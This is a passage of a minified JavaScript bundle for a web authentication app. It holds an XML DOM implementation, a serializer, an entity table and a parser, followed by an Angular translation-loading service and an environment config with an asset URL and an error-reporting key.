i=e.childNodes;if(n)i[i.length++]=n;else{for(var r=e.firstChild,o=0;r;)i[o++]=r,r=r.nextSibling;i.length=o}}}function F(t,e){var n=e.previousSibling,i=e.nextSibling;return n?n.nextSibling=i:t.firstChild=i,i?i.previousSibling=n:t.lastChild=n,M(t.ownerDocument,t),e}function U(t,e,n){var i=e.parentNode;if(i&&i.removeChild(e),e.nodeType===v){var r=e.firstChild;if(null==r)return e;var o=e.lastChild}else r=o=e;var a=n?n.previousSibling:t.lastChild;r.previousSibling=a,o.nextSibling=n,a?a.nextSibling=r:t.firstChild=r,null==n?t.lastChild=o:n.previousSibling=o;do{r.parentNode=t}while(r!==o&&(r=r.nextSibling));return M(t.ownerDocument||t,t),e.nodeType==v&&(e.firstChild=e.lastChild=null),e}function B(){this._nsMap={}}function j(){}function H(){}function V(){}function G(){}function Y(){}function q(){}function z(){}function Z(){}function W(){}function J(){}function Q(){}function K(){}function X(t,e){var n=[],i=9==this.nodeType&&this.documentElement||this,r=i.prefix,o=i.namespaceURI;if(o&&null==r&&null==(r=i.lookupPrefix(o)))var a=[{namespace:o,prefix:null}];return tt(this,n,t,e,a),n.join("")}function $(t,e,n){var i=t.prefix||"",r=t.namespaceURI;if(!i&&!r||"xml"===i&&"http://www.w3.org/XML/1998/namespace"===r||"http://www.w3.org/2000/xmlns/"==r)return!1;for(var o=n.length;o--;){var a=n[o];if(a.prefix==i)return a.namespace!=r}return!0}function tt(t,e,n,i,r){if(i){if(!(t=i(t)))return;if("string"==typeof t)return void e.push(t)}switch(t.nodeType){case o:r||(r=[]);var l=t.attributes,m=l.length,g=t.firstChild,y=t.tagName;n="http://www.w3.org/1999/xhtml"===t.namespaceURI||n,e.push("<",y);for(var _=0;_<m;_++)"xmlns"==(b=l.item(_)).prefix?r.push({prefix:b.localName,namespace:b.value}):"xmlns"==b.nodeName&&r.push({prefix:"",namespace:b.value});for(_=0;_<m;_++){var b;$(b=l.item(_),0,r)&&(e.push((w=b.prefix||"")?" xmlns:"+w:" xmlns",'="',k=b.namespaceURI,'"'),r.push({prefix:w,namespace:k})),tt(b,e,n,i,r)}if($(t,0,r)){var k,w=t.prefix||"";(k=t.namespaceURI)&&(e.push(w?" xmlns:"+w:" xmlns",'="',k,'"'),r.push({prefix:w,namespace:k}))}if(g||n&&!/^(?:meta|link|img|br|hr|input)$/i.test(y)){if(e.push(">"),n&&/^script$/i.test(y))for(;g;)g.data?e.push(g.data):tt(g,e,n,i,r),g=g.nextSibling;else for(;g;)tt(g,e,n,i,r),g=g.nextSibling;e.push("</",y,">")}else e.push("/>");return;case d:case v:for(g=t.firstChild;g;)tt(g,e,n,i,r),g=g.nextSibling;return;case a:return e.push(" ",t.name,'="',t.value.replace(/[<&"]/g,P),'"');case s:return e.push(t.data.replace(/[<&]/g,P).replace(/]]>/g,"]]>"));case u:return e.push("<![CDATA[",t.data,"]]>");case f:return e.push("\x3c!--",t.data,"--\x3e");case p:var C=t.publicId,x=t.systemId;if(e.push("<!DOCTYPE ",t.name),C)e.push(" PUBLIC ",C),x&&"."!=x&&e.push(" ",x),e.push(">");else if(x&&"."!=x)e.push(" SYSTEM ",x,">");else{var S=t.internalSubset;S&&e.push(" [",S,"]"),e.push(">")}return;case h:return e.push("<?",t.target," ",t.data,"?>");case c:return e.push("&",t.nodeName,";");default:e.push("??",t.nodeName)}}function et(t,e,n){var i;switch(e.nodeType){case o:(i=e.cloneNode(!1)).ownerDocument=t;case v:break;case a:n=!0}if(i||(i=e.cloneNode(!1)),i.ownerDocument=t,i.parentNode=null,n)for(var r=e.firstChild;r;)i.appendChild(et(t,r,n)),r=r.nextSibling;return i}function nt(t,e,n){var i=new e.constructor;for(var r in e){var s=e[r];"object"!=typeof s&&s!=i[r]&&(i[r]=s)}switch(e.childNodes&&(i.childNodes=new C),i.ownerDocument=t,i.nodeType){case o:var u=e.attributes,c=i.attributes=new E,l=u.length;c._ownerElement=i;for(var h=0;h<l;h++)i.setAttributeNode(nt(t,u.item(h),!0));break;case a:n=!0}if(n)for(var f=e.firstChild;f;)i.appendChild(nt(t,f,n)),f=f.nextSibling;return i}function it(t,e,n){t[e]=n}g.INVALID_STATE_ERR=(y[11]="Invalid state",11),g.SYNTAX_ERR=(y[12]="Syntax error",12),g.INVALID_MODIFICATION_ERR=(y[13]="Invalid modification",13),g.NAMESPACE_ERR=(y[14]="Invalid namespace",14),g.INVALID_ACCESS_ERR=(y[15]="Invalid access",15),w.prototype=Error.prototype,n(g,w),C.prototype={length:0,item:function(t){return this[t]||null},toString:function(t,e){for(var n=[],i=0;i<this.length;i++)tt(this[i],n,t,e);return n.join("")}},x.prototype.item=function(t){return S(this),this[t]},i(x,C),E.prototype={length:0,item:C.prototype.item,getNamedItem:function(t){for(var e=this.length;e--;){var n=this[e];if(n.nodeName==t)return n}},setNamedItem:function(t){var e=t.ownerElement;if(e&&e!=this._ownerElement)throw new w(k);var n=this.getNamedItem(t.nodeName);return T(this._ownerElement,this,t,n),n},setNamedItemNS:function(t){var e,n=t.ownerElement;if(n&&n!=this._ownerElement)throw new w(k);return e=this.getNamedItemNS(t.namespaceURI,t.localName),T(this._ownerElement,this,t,e),e},removeNamedItem:function(t){var e=this.getNamedItem(t);return I(this._ownerElement,this,e),e},removeNamedItemNS:function(t,e){var n=this.getNamedItemNS(t,e);return I(this._ownerElement,this,n),n},getNamedItemNS:function(t,e){for(var n=this.length;n--;){var i=this[n];if(i.localName==e&&i.namespaceURI==t)return i}return null}},O.prototype={hasFeature:function(t,e){var n=this._features[t.toLowerCase()];return!(!n||e&&!(e in n))},createDocument:function(t,e,n){var i=new D;if(i.implementation=this,i.childNodes=new C,i.doctype=n,n&&i.appendChild(n),e){var r=i.createElementNS(t,e);i.appendChild(r)}return i},createDocumentType:function(t,e,n){var i=new q;return i.name=t,i.nodeName=t,i.publicId=e,i.systemId=n,i}},R.prototype={firstChild:null,lastChild:null,previousSibling:null,nextSibling:null,attributes:null,parentNode:null,childNodes:null,ownerDocument:null,nodeValue:null,namespaceURI:null,prefix:null,localName:null,insertBefore:function(t,e){return U(this,t,e)},replaceChild:function(t,e){this.insertBefore(t,e),e&&this.removeChild(e)},removeChild:function(t){return F(this,t)},appendChild:function(t){return this.insertBefore(t,null)},hasChildNodes:function(){return null!=this.firstChild},cloneNode:function(t){return nt(this.ownerDocument||this,this,t)},normalize:function(){for(var t=this.firstChild;t;){var e=t.nextSibling;e&&e.nodeType==s&&t.nodeType==s?(this.removeChild(e),t.appendData(e.data)):(t.normalize(),t=e)}},isSupported:function(t,e){return this.ownerDocument.implementation.hasFeature(t,e)},hasAttributes:function(){return this.attributes.length>0},lookupPrefix:function(t){for(var e=this;e;){var n=e._nsMap;if(n)for(var i in n)if(n[i]==t)return i;e=e.nodeType==a?e.ownerDocument:e.parentNode}return null},lookupNamespaceURI:function(t){for(var e=this;e;){var n=e._nsMap;if(n&&t in n)return n[t];e=e.nodeType==a?e.ownerDocument:e.parentNode}return null},isDefaultNamespace:function(t){return null==this.lookupPrefix(t)}},n(r,R),n(r,R.prototype),D.prototype={nodeName:"#document",nodeType:d,doctype:null,documentElement:null,_inc:1,insertBefore:function(t,e){if(t.nodeType==v){for(var n=t.firstChild;n;){var i=n.nextSibling;this.insertBefore(n,e),n=i}return t}return null==this.documentElement&&t.nodeType==o&&(this.documentElement=t),U(this,t,e),t.ownerDocument=this,t},removeChild:function(t){return this.documentElement==t&&(this.documentElement=null),F(this,t)},importNode:function(t,e){return et(this,t,e)},getElementById:function(t){var e=null;return N(this.documentElement,function(n){if(n.nodeType==o&&n.getAttribute("id")==t)return e=n,!0}),e},getElementsByClassName:function(t){var e=new RegExp("(^|\\s)"+t+"(\\s|$)");return new x(this,function(t){var n=[];return N(t.documentElement,function(i){i!==t&&i.nodeType==o&&e.test(i.getAttribute("class"))&&n.push(i)}),n})},createElement:function(t){var e=new B;return e.ownerDocument=this,e.nodeName=t,e.tagName=t,e.childNodes=new C,(e.attributes=new E)._ownerElement=e,e},createDocumentFragment:function(){var t=new J;return t.ownerDocument=this,t.childNodes=new C,t},createTextNode:function(t){var e=new V;return e.ownerDocument=this,e.appendData(t),e},createComment:function(t){var e=new G;return e.ownerDocument=this,e.appendData(t),e},createCDATASection:function(t){var e=new Y;return e.ownerDocument=this,e.appendData(t),e},createProcessingInstruction:function(t,e){var n=new Q;return n.ownerDocument=this,n.tagName=n.target=t,n.nodeValue=n.data=e,n},createAttribute:function(t){var e=new j;return e.ownerDocument=this,e.name=t,e.nodeName=t,e.localName=t,e.specified=!0,e},createEntityReference:function(t){var e=new W;return e.ownerDocument=this,e.nodeName=t,e},createElementNS:function(t,e){var n=new B,i=e.split(":"),r=n.attributes=new E;return n.childNodes=new C,n.ownerDocument=this,n.nodeName=e,n.tagName=e,n.namespaceURI=t,2==i.length?(n.prefix=i[0],n.localName=i[1]):n.localName=e,r._ownerElement=n,n},createAttributeNS:function(t,e){var n=new j,i=e.split(":");return n.ownerDocument=this,n.nodeName=e,n.name=e,n.namespaceURI=t,n.specified=!0,2==i.length?(n.prefix=i[0],n.localName=i[1]):n.localName=e,n}},i(D,R),D.prototype.getElementsByTagName=(B.prototype={nodeType:o,hasAttribute:function(t){return null!=this.getAttributeNode(t)},getAttribute:function(t){var e=this.getAttributeNode(t);return e&&e.value||""},getAttributeNode:function(t){return this.attributes.getNamedItem(t)},setAttribute:function(t,e){var n=this.ownerDocument.createAttribute(t);n.value=n.nodeValue=""+e,this.setAttributeNode(n)},removeAttribute:function(t){var e=this.getAttributeNode(t);e&&this.removeAttributeNode(e)},appendChild:function(t){return t.nodeType===v?this.insertBefore(t,null):function(t,e){var n=e.parentNode;if(n){var i=t.lastChild;n.removeChild(e),i=t.lastChild}return i=t.lastChild,e.parentNode=t,e.previousSibling=i,e.nextSibling=null,i?i.nextSibling=e:t.firstChild=e,t.lastChild=e,M(t.ownerDocument,t,e),e}(this,t)},setAttributeNode:function(t){return this.attributes.setNamedItem(t)},setAttributeNodeNS:function(t){return this.attributes.setNamedItemNS(t)},removeAttributeNode:function(t){return this.attributes.removeNamedItem(t.nodeName)},removeAttributeNS:function(t,e){var n=this.getAttributeNodeNS(t,e);n&&this.removeAttributeNode(n)},hasAttributeNS:function(t,e){return null!=this.getAttributeNodeNS(t,e)},getAttributeNS:function(t,e){var n=this.getAttributeNodeNS(t,e);return n&&n.value||""},setAttributeNS:function(t,e,n){var i=this.ownerDocument.createAttributeNS(t,e);i.value=i.nodeValue=""+n,this.setAttributeNode(i)},getAttributeNodeNS:function(t,e){return this.attributes.getNamedItemNS(t,e)},getElementsByTagName:function(t){return new x(this,function(e){var n=[];return N(e,function(i){i!==e&&i.nodeType==o&&("*"===t||i.tagName==t)&&n.push(i)}),n})},getElementsByTagNameNS:function(t,e){return new x(this,function(n){var i=[];return N(n,function(r){r!==n&&r.nodeType===o&&("*"===t||r.namespaceURI===t)&&("*"===e||r.localName==e)&&i.push(r)}),i})}}).getElementsByTagName,D.prototype.getElementsByTagNameNS=B.prototype.getElementsByTagNameNS,i(B,R),j.prototype.nodeType=a,i(j,R),H.prototype={data:"",substringData:function(t,e){return this.data.substring(t,t+e)},appendData:function(t){this.nodeValue=this.data=t=this.data+t,this.length=t.length},insertData:function(t,e){this.replaceData(t,0,e)},appendChild:function(t){throw new Error(y[_])},deleteData:function(t,e){this.replaceData(t,e,"")},replaceData:function(t,e,n){var i=this.data.substring(0,t),r=this.data.substring(t+e);this.nodeValue=this.data=n=i+n+r,this.length=n.length}},i(H,R),V.prototype={nodeName:"#text",nodeType:s,splitText:function(t){var e=this.data,n=e.substring(t);e=e.substring(0,t),this.data=this.nodeValue=e,this.length=e.length;var i=this.ownerDocument.createTextNode(n);return this.parentNode&&this.parentNode.insertBefore(i,this.nextSibling),i}},i(V,H),G.prototype={nodeName:"#comment",nodeType:f},i(G,H),Y.prototype={nodeName:"#cdata-section",nodeType:u},i(Y,H),q.prototype.nodeType=p,i(q,R),z.prototype.nodeType=m,i(z,R),Z.prototype.nodeType=l,i(Z,R),W.prototype.nodeType=c,i(W,R),J.prototype.nodeName="#document-fragment",J.prototype.nodeType=v,i(J,R),Q.prototype.nodeType=h,i(Q,R),K.prototype.serializeToString=function(t,e,n){return X.call(t,e,n)},R.prototype.toString=X;try{if(Object.defineProperty){var rt=function t(e){switch(e.nodeType){case o:case v:var n=[];for(e=e.firstChild;e;)7!==e.nodeType&&8!==e.nodeType&&n.push(t(e)),e=e.nextSibling;return n.join("");default:return e.nodeValue}};Object.defineProperty(x.prototype,"length",{get:function(){return S(this),this.$$length}}),Object.defineProperty(R.prototype,"textContent",{get:function(){return rt(this)},set:function(t){switch(this.nodeType){case o:case v:for(;this.firstChild;)this.removeChild(this.firstChild);(t||String(t))&&this.appendChild(this.ownerDocument.createTextNode(t));break;default:this.data=t,this.value=t,this.nodeValue=t}}}),it=function(t,e,n){t["$$"+e]=n}}}catch(rt){}e.DOMImplementation=O,e.XMLSerializer=K},4107:function(t,e){e.entityMap={lt:"<",gt:">",amp:"&",quot:'"',apos:"'",Agrave:"\xc0",Aacute:"\xc1",Acirc:"\xc2",Atilde:"\xc3",Auml:"\xc4",Aring:"\xc5",AElig:"\xc6",Ccedil:"\xc7",Egrave:"\xc8",Eacute:"\xc9",Ecirc:"\xca",Euml:"\xcb",Igrave:"\xcc",Iacute:"\xcd",Icirc:"\xce",Iuml:"\xcf",ETH:"\xd0",Ntilde:"\xd1",Ograve:"\xd2",Oacute:"\xd3",Ocirc:"\xd4",Otilde:"\xd5",Ouml:"\xd6",Oslash:"\xd8",Ugrave:"\xd9",Uacute:"\xda",Ucirc:"\xdb",Uuml:"\xdc",Yacute:"\xdd",THORN:"\xde",szlig:"\xdf",agrave:"\xe0",aacute:"\xe1",acirc:"\xe2",atilde:"\xe3",auml:"\xe4",aring:"\xe5",aelig:"\xe6",ccedil:"\xe7",egrave:"\xe8",eacute:"\xe9",ecirc:"\xea",euml:"\xeb",igrave:"\xec",iacute:"\xed",icirc:"\xee",iuml:"\xef",eth:"\xf0",ntilde:"\xf1",ograve:"\xf2",oacute:"\xf3",ocirc:"\xf4",otilde:"\xf5",ouml:"\xf6",oslash:"\xf8",ugrave:"\xf9",uacute:"\xfa",ucirc:"\xfb",uuml:"\xfc",yacute:"\xfd",thorn:"\xfe",yuml:"\xff",nbsp:"\xa0",iexcl:"\xa1",cent:"\xa2",pound:"\xa3",curren:"\xa4",yen:"\xa5",brvbar:"\xa6",sect:"\xa7",uml:"\xa8",copy:"\xa9",ordf:"\xaa",laquo:"\xab",not:"\xac",shy:"\xad\xad",reg:"\xae",macr:"\xaf",deg:"\xb0",plusmn:"\xb1",sup2:"\xb2",sup3:"\xb3",acute:"\xb4",micro:"\xb5",para:"\xb6",middot:"\xb7",cedil:"\xb8",sup1:"\xb9",ordm:"\xba",raquo:"\xbb",frac14:"\xbc",frac12:"\xbd",frac34:"\xbe",iquest:"\xbf",times:"\xd7",divide:"\xf7",forall:"\u2200",part:"\u2202",exist:"\u2203",empty:"\u2205",nabla:"\u2207",isin:"\u2208",notin:"\u2209",ni:"\u220b",prod:"\u220f",sum:"\u2211",minus:"\u2212",lowast:"\u2217",radic:"\u221a",prop:"\u221d",infin:"\u221e",ang:"\u2220",and:"\u2227",or:"\u2228",cap:"\u2229",cup:"\u222a",int:"\u222b",there4:"\u2234",sim:"\u223c",cong:"\u2245",asymp:"\u2248",ne:"\u2260",equiv:"\u2261",le:"\u2264",ge:"\u2265",sub:"\u2282",sup:"\u2283",nsub:"\u2284",sube:"\u2286",supe:"\u2287",oplus:"\u2295",otimes:"\u2297",perp:"\u22a5",sdot:"\u22c5",Alpha:"\u0391",Beta:"\u0392",Gamma:"\u0393",Delta:"\u0394",Epsilon:"\u0395",Zeta:"\u0396",Eta:"\u0397",Theta:"\u0398",Iota:"\u0399",Kappa:"\u039a",Lambda:"\u039b",Mu:"\u039c",Nu:"\u039d",Xi:"\u039e",Omicron:"\u039f",Pi:"\u03a0",Rho:"\u03a1",Sigma:"\u03a3",Tau:"\u03a4",Upsilon:"\u03a5",Phi:"\u03a6",Chi:"\u03a7",Psi:"\u03a8",Omega:"\u03a9",alpha:"\u03b1",beta:"\u03b2",gamma:"\u03b3",delta:"\u03b4",epsilon:"\u03b5",zeta:"\u03b6",eta:"\u03b7",theta:"\u03b8",iota:"\u03b9",kappa:"\u03ba",lambda:"\u03bb",mu:"\u03bc",nu:"\u03bd",xi:"\u03be",omicron:"\u03bf",pi:"\u03c0",rho:"\u03c1",sigmaf:"\u03c2",sigma:"\u03c3",tau:"\u03c4",upsilon:"\u03c5",phi:"\u03c6",chi:"\u03c7",psi:"\u03c8",omega:"\u03c9",thetasym:"\u03d1",upsih:"\u03d2",piv:"\u03d6",OElig:"\u0152",oelig:"\u0153",Scaron:"\u0160",scaron:"\u0161",Yuml:"\u0178",fnof:"\u0192",circ:"\u02c6",tilde:"\u02dc",ensp:"\u2002",emsp:"\u2003",thinsp:"\u2009",zwnj:"\u200c",zwj:"\u200d",lrm:"\u200e",rlm:"\u200f",ndash:"\u2013",mdash:"\u2014",lsquo:"\u2018",rsquo:"\u2019",sbquo:"\u201a",ldquo:"\u201c",rdquo:"\u201d",bdquo:"\u201e",dagger:"\u2020",Dagger:"\u2021",bull:"\u2022",hellip:"\u2026",permil:"\u2030",prime:"\u2032",Prime:"\u2033",lsaquo:"\u2039",rsaquo:"\u203a",oline:"\u203e",euro:"\u20ac",trade:"\u2122",larr:"\u2190",uarr:"\u2191",rarr:"\u2192",darr:"\u2193",harr:"\u2194",crarr:"\u21b5",lceil:"\u2308",rceil:"\u2309",lfloor:"\u230a",rfloor:"\u230b",loz:"\u25ca",spades:"\u2660",clubs:"\u2663",hearts:"\u2665",diams:"\u2666"}},10549:function(t,e){var n=/[A-Z_a-z\xC0-\xD6\xD8-\xF6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD]/,i=new RegExp("[\\-\\.0-9"+n.source.slice(1,-1)+"\\u00B7\\u0300-\\u036F\\u203F-\\u2040]"),r=new RegExp("^"+n.source+i.source+"*(?::"+n.source+i.source+"*)?$");function o(t,e){this.message=t,this.locator=e,Error.captureStackTrace&&Error.captureStackTrace(this,o)}function a(){}function s(t,e){return e.lineNumber=t.lineNumber,e.columnNumber=t.columnNumber,e}function u(t,e,n,i,r,o){function a(t,e,i){t in n.attributeNames&&o.fatalError("Attribute "+t+" redefined"),n.addValue(t,e,i)}for(var s,u=++e,c=0;;){var l=t.charAt(u);switch(l){case"=":if(1===c)s=t.slice(e,u),c=3;else{if(2!==c)throw new Error("attribute equal must after attrName");c=3}break;case"'":case'"':if(3===c||1===c){if(1===c&&(o.warning('attribute value must after "="'),s=t.slice(e,u)),!((u=t.indexOf(l,e=u+1))>0))throw new Error("attribute value no end '"+l+"' match");a(s,h=t.slice(e,u).replace(/&#?\w+;/g,r),e-1),c=5}else{if(4!=c)throw new Error('attribute value must after "="');a(s,h=t.slice(e,u).replace(/&#?\w+;/g,r),e),o.warning('attribute "'+s+'" missed start quot('+l+")!!"),e=u+1,c=5}break;case"/":switch(c){case 0:n.setTagName(t.slice(e,u));case 5:case 6:case 7:c=7,n.closed=!0;case 4:case 1:case 2:break;default:throw new Error("attribute invalid close char('/')")}break;case"":return o.error("unexpected end of input"),0==c&&n.setTagName(t.slice(e,u)),u;case">":switch(c){case 0:n.setTagName(t.slice(e,u));case 5:case 6:case 7:break;case 4:case 1:"/"===(h=t.slice(e,u)).slice(-1)&&(n.closed=!0,h=h.slice(0,-1));case 2:2===c&&(h=s),4==c?(o.warning('attribute "'+h+'" missed quot(")!'),a(s,h.replace(/&#?\w+;/g,r),e)):(("http://www.w3.org/1999/xhtml"!==i[""]||!h.match(/^(?:disabled|checked|selected)$/i))&&o.warning('attribute "'+h+'" missed value!! "'+h+'" instead!!'),a(h,h,e));break;case 3:throw new Error("attribute value missed!!")}return u;case"\x80":l=" ";default:if(l<=" ")switch(c){case 0:n.setTagName(t.slice(e,u)),c=6;break;case 1:s=t.slice(e,u),c=2;break;case 4:var h=t.slice(e,u).replace(/&#?\w+;/g,r);o.warning('attribute "'+h+'" missed quot(")!!'),a(s,h,e);case 5:c=6}else switch(c){case 2:("http://www.w3.org/1999/xhtml"!==i[""]||!s.match(/^(?:disabled|checked|selected)$/i))&&o.warning('attribute "'+s+'" missed value!! "'+s+'" instead2!!'),a(s,s,e),e=u,c=1;break;case 5:o.warning('attribute space is required"'+s+'"!!');case 6:c=1,e=u;break;case 3:c=4,e=u;break;case 7:throw new Error("elements closed character '/' and '>' must be connected to")}}u++}}function c(t,e,n){for(var i=t.tagName,r=null,o=t.length;o--;){var a=t[o],s=a.qName,u=a.value;if((d=s.indexOf(":"))>0)var c=a.prefix=s.slice(0,d),l=s.slice(d+1),h="xmlns"===c&&l;else l=s,c=null,h="xmlns"===s&&"";a.localName=l,!1!==h&&(null==r&&(r={},f(n,n={})),n[h]=r[h]=u,a.uri="http://www.w3.org/2000/xmlns/",e.startPrefixMapping(h,u))}for(o=t.length;o--;)(c=(a=t[o]).prefix)&&("xml"===c&&(a.uri="http://www.w3.org/XML/1998/namespace"),"xmlns"!==c&&(a.uri=n[c||""]));var d;(d=i.indexOf(":"))>0?(c=t.prefix=i.slice(0,d),l=t.localName=i.slice(d+1)):(c=null,l=t.localName=i);var p=t.uri=n[c||""];if(e.startElement(p,l,i,t),!t.closed)return t.currentNSMap=n,t.localNSMap=r,!0;if(e.endElement(p,l,i),r)for(c in r)e.endPrefixMapping(c)}function l(t,e,n,i,r){if(/^(?:script|textarea)$/i.test(n)){var o=t.indexOf("</"+n+">",e),a=t.substring(e+1,o);if(/[&<]/.test(a))return/^script$/i.test(n)?(r.characters(a,0,a.length),o):(a=a.replace(/&#?\w+;/g,i),r.characters(a,0,a.length),o)}return e+1}function h(t,e,n,i){var r=i[n];return null==r&&((r=t.lastIndexOf("</"+n+">"))<e&&(r=t.lastIndexOf("</"+n)),i[n]=r),r<e}function f(t,e){for(var n in t)e[n]=t[n]}function d(t,e,n,i){switch(t.charAt(e+2)){case"-":return"-"===t.charAt(e+3)?(r=t.indexOf("--\x3e",e+4))>e?(n.comment(t,e+4,r-e-4),r+3):(i.error("Unclosed comment"),-1):-1;default:if("CDATA["==t.substr(e+3,6)){var r=t.indexOf("]]>",e+9);return n.startCDATA(),n.characters(t,e+9,r-e-9),n.endCDATA(),r+3}var o=function(t,e){var n,i=[],r=/'[^']+'|"[^"]+"|[^\s<>\/=]+=?|(\/?\s*>|<)/g;for(r.lastIndex=e,r.exec(t);n=r.exec(t);)if(i.push(n),n[1])return i}(t,e),a=o.length;if(a>1&&/!doctype/i.test(o[0][0])){var s=o[1][0],u=!1,c=!1;a>3&&(/^public$/i.test(o[2][0])?(u=o[3][0],c=a>4&&o[4][0]):/^system$/i.test(o[2][0])&&(c=o[3][0]));var l=o[a-1];return n.startDTD(s,u,c),n.endDTD(),l.index+l[0].length}}return-1}function p(t,e,n){var i=t.indexOf("?>",e);if(i){var r=t.substring(e,i).match(/^<\?(\S*)\s*([\s\S]*?)\s*$/);return r?(n.processingInstruction(r[1],r[2]),i+2):-1}return-1}function v(){this.attributeNames={}}(o.prototype=new Error).name=o.name,a.prototype={parse:function(t,e,n){var i=this.domBuilder;i.startDocument(),f(e,e={}),function(t,e,n,i,r){function a(t){var e=t.slice(1,-1);return e in n?n[e]:"#"===e.charAt(0)?function(t){return t>65535?(t-=65536,String.fromCharCode(55296+(t>>10),56320+(1023&t))):String.fromCharCode(t)}(parseInt(e.substr(1).replace("x","0x"))):(r.error("entity not found:"+t),t)}function f(e){if(e>C){var n=t.substring(C,e).replace(/&#?\w+;/g,a);b&&m(C),i.characters(n,0,e-C),C=e}}function m(e,n){for(;e>=y&&(n=_.exec(t));)y=(g=n.index)+n[0].length,b.lineNumber++;b.columnNumber=e-g+1}for(var g=0,y=0,_=/.*(?:\r\n?|\n)|.*$/g,b=i.locator,k=[{currentNSMap:e}],w={},C=0;;){try{var x=t.indexOf("<",C);if(x<0){if(!t.substr(C).match(/^\s*$/)){var S=i.doc,E=S.createTextNode(t.substr(C));S.appendChild(E),i.currentElement=E}return}switch(x>C&&f(x),t.charAt(x+1)){case"/":var A=t.indexOf(">",x+3),T=t.substring(x+2,A),I=k.pop();A<0?(T=t.substring(x+2).replace(/[\s<].*/,""),r.error("end tag name: "+T+" is not complete:"+I.tagName),A=x+1+T.length):T.match(/\s</)&&(T=T.replace(/[\s<].*/,""),r.error("end tag name: "+T+" maybe not complete"),A=x+1+T.length);var O=I.localNSMap,R=I.tagName==T;if(R||I.tagName&&I.tagName.toLowerCase()==T.toLowerCase()){if(i.endElement(I.uri,I.localName,T),O)for(var P in O)i.endPrefixMapping(P);R||r.fatalError("end tag name: "+T+" is not match the current start tagName:"+I.tagName)}else k.push(I);A++;break;case"?":b&&m(x),A=p(t,x,i);break;case"!":b&&m(x),A=d(t,x,i,r);break;default:b&&m(x);var N=new v,D=k[k.length-1].currentNSMap,L=(A=u(t,x,N,D,a,r),N.length);if(!N.closed&&h(t,A,N.tagName,w)&&(N.closed=!0,n.nbsp||r.warning("unclosed xml attribute")),b&&L){for(var M=s(b,{}),F=0;F<L;F++){var U=N[F];m(U.offset),U.locator=s(b,{})}i.locator=M,c(N,i,D)&&k.push(N),i.locator=b}else c(N,i,D)&&k.push(N);"http://www.w3.org/1999/xhtml"!==N.uri||N.closed?A++:A=l(t,A,N.tagName,a,i)}}catch(B){if(B instanceof o)throw B;r.error("element parse error: "+B),A=-1}A>C?C=A:f(Math.max(x,C)+1)}}(t,e,n,i,this.errorHandler),i.endDocument()}},v.prototype={setTagName:function(t){if(!r.test(t))throw new Error("invalid tagName:"+t);this.tagName=t},addValue:function(t,e,n){if(!r.test(t))throw new Error("invalid attribute:"+t);this.attributeNames[t]=this.length,this[this.length++]={qName:t,value:e,offset:n}},length:0,getLocalName:function(t){return this[t].localName},getLocator:function(t){return this[t].locator},getQName:function(t){return this[t].qName},getURI:function(t){return this[t].uri},getValue:function(t){return this[t].value}},e.XMLReader=a,e.ParseError=o},27809:function(t,e,n){"use strict";n.d(e,{R:function(){return g}});var i,r=n(3786),o=n(32118),a=n.n(o),s=n(80722),u=n(62901),c=n(51257),l=n(13660),h=n(22210),f=n(92932),d=n(2316),p=n(50501),v=n(54364),m=n(18742),g=((i=function(){function t(e,n,i,r,o,a,s){_(this,t),this.errorHandlerService=e,this.commonInfoService=n,this.i18n=i,this.localeService=r,this.location=o,this.snackbarService=a,this.windowRef=s}return y(t,[{key:"assetsPath",get:function(){return"".concat(this.webAssetsUrl,"/auth-app/assets")}},{key:"projectBasePath",get:function(){return"".concat(this.webAssetsUrl,"/auth-app")}},{key:"webAssetsUrl",get:function(){return f.N.webAssetsURL}},{key:"languageCode",get:function(){var t=this.windowRef.nativeWindow,e=Object.keys(this.commonInfoService.availableLanguages||[]),n=(0,l.s)(this.location.path(),e);return!n&&t.navigator&&(n=t.navigator.language),(!n||!e.includes(n))&&(n=this.localeService.defaultUrlPath),n}},{key:"load",value:function(){return(0,r.mG)(this,void 0,void 0,regeneratorRuntime.mark(function t(){return regeneratorRuntime.wrap(function(t){for(;;)switch(t.prev=t.next){case 0:return t.prev=0,t.next=3,this.commonInfoService.load();case 3:t.next=10;break;case 5:if(t.prev=5,t.t0=t.catch(0),t.t0 instanceof Error){t.next=9;break}return t.abrupt("return");case 9:this.snackbarService.open(null==t.t0?void 0:t.t0.message);case 10:return this.localeService.set(this.languageCode),t.next=13,this.maybeFetchTranslations();case 13:return t.abrupt("return",t.sent);case 14:case"end":return t.stop()}},t,this,[[0,5]])}))}},{key:"maybeFetchTranslations",value:function(){return(0,r.mG)(this,void 0,void 0,regeneratorRuntime.mark(function t(){var e;return regeneratorRuntime.wrap(function(t){for(;;)switch(t.prev=t.next){case 0:if(this.localeService.locale!==this.localeService.defaultLocale){t.next=2;break}return t.abrupt("return");case 2:return e="".concat(this.webAssetsUrl,"/auth-app/locale/").concat(this.localeService.locale,".json"),t.prev=3,t.next=6,this.i18n.fetchTranslations(e);case 6:t.next=11;break;case 8:t.prev=8,t.t0=t.catch(3),this.snackbarService.open("Unable to load translations"),this.errorHandlerService.useBugsnag()&&a().notify("Unable to load translations",function(e){e.addMetadata("Translation error",{error:t.t0})});case 11:case"end":return t.stop()}},t,this,[[3,8]])}))}}]),t}()).\u0275fac=function(t){return new(t||i)(d.LFG(p.q),d.LFG(s.E),d.LFG(h.K),d.LFG(u.O),d.LFG(v.Ye),d.LFG(c.o),d.LFG(m.X))},i.\u0275prov=d.Yz7({token:i,factory:i.\u0275fac,providedIn:"root"}),i)},92932:function(t,e,n){"use strict";n.d(e,{N:function(){return i}});var i={production:!0,webAssetsURL:"https://d32exi8v9av3ux.cloudfront.net/auth-app/2022/01/17/26465d",appVersion:"auth-app/2022/01/17/26465d",bugsnagApiKey:"3cc67afdb6dd450441bc9023b5262f26"}},45720:function(t,e,n){"use strict";var o=n(71570),a=n(2316),s=n(54364),u=n(53882),c=n(6721),h=n.n(c),d=n(64062),p=n.n(d),v=n(68753),m=n.n(v),g=n(35589),b=n.n(g),k=n(68456),w=n(71918),C=n(32118),x=n.n(C),S=function(t){l(n,t);var e=f(n);function n(t){var i;return _(this,n),(i=e.call(this)).bugsnagClient=t||x()._client,i}return y(n,[{key:"handleError",value:function(t){var e=this.bugsnagClient.Event.create(t,!0,{severity:"error",severityReason:{type:"unhandledException"},unhandled:!0},"angular error 